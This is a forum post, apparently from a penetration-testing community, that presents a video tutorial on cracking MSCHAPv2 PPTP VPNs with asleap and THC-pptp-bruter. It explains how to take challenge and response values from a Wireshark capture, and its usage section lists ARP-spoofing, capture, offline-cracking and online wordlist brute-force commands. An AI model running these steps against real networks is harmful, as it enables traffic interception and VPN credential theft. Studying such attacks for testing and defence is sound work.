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Thread: [Video] Cracking VPNs (asleap and THC-pptp-bruter)

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    Moderator g0tmi1k's Avatar
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    Feb 2010

    Lightbulb [Video] Cracking VPNs (asleap and THC-pptp-bruter) // Hackig PPTP VPNs

    Watch on-line:
    Download Video:

    What is this?
    A python script, to automatically generate the arguments for Joshua Wright's 'asleap' program.

    This video demostrates an offline (asleap) and online (THC-pptp-bruter) attack on MSCHAP v2 software VPN.

    How does this work?
    From wireshark (and a Man In The Middle attack), you can get "CHAP Challenge" and "CHAP Response". We can break theses values down:
    CHAP Challenge = Auth Challenge (16 bytes)
    CHAP Response = Peer Challenge (16 bytes) and Peer Response (24 bytes)

    After finding "Auth Challenge and Peer Challenge" we can add these to the username and hash (sha1)the result. This will generate the "Challenge".

    Once we have the challenge, we can feed this into the asleap, along with CHAP Challenge.

    This script does all the work for you (and more), it just needs the values from wireshark for it to work. As well as having the option for different styles of attack, you can either uses a dictionary/wordlist or use 'Genkeys' to generate a look up file for asleap (which is recommended). Also by using this, you can automatically run asleap with your arguments.

    What do I need?
    > asleap
    > Python
    > The script -
    > Wireshark
    > VPN
    > THC-pptp-bruter

    Name: asleap
    Version: 2.2
    Home Page:
    Download Link:

    Name: THC-pptp-bruter
    Version: 0.1.4
    Home Page:
    Download Link:

    Version: 0.1.1
    Home Page:
    Download Link:

    How to use
    1.) chmod 755
    2.) python

    echo 1 > /proc/sys/net/ipv4/ip_forward
    arpspoof -i eth1 -t
    arpspoof -i eth1 -t
    wireshark -i eth1 -k
    python -u g0tmi1k -c 3fb0e397540e8aa3df5eb08b0053092c -r df7661696051401f7192726630558ac200000000000000003c4b7c76ae82dd3050006c53d0bc6012db000acba0c5fec600 -x -v
    cd /pentest/passwords/wordlists
    cat darkc0de.lst | thc-pptp-bruter -u g0tmi1k -n 99 -l 999
    Song: Two Fingers - Keman Rhythm
    Video length: 03:03
    Capture length: 5:48

    Blog Post:
    Forum Post:
    Last edited by g0tmi1k; 03-05-2011 at 02:47 PM.
    Have you...g0tmi1k?

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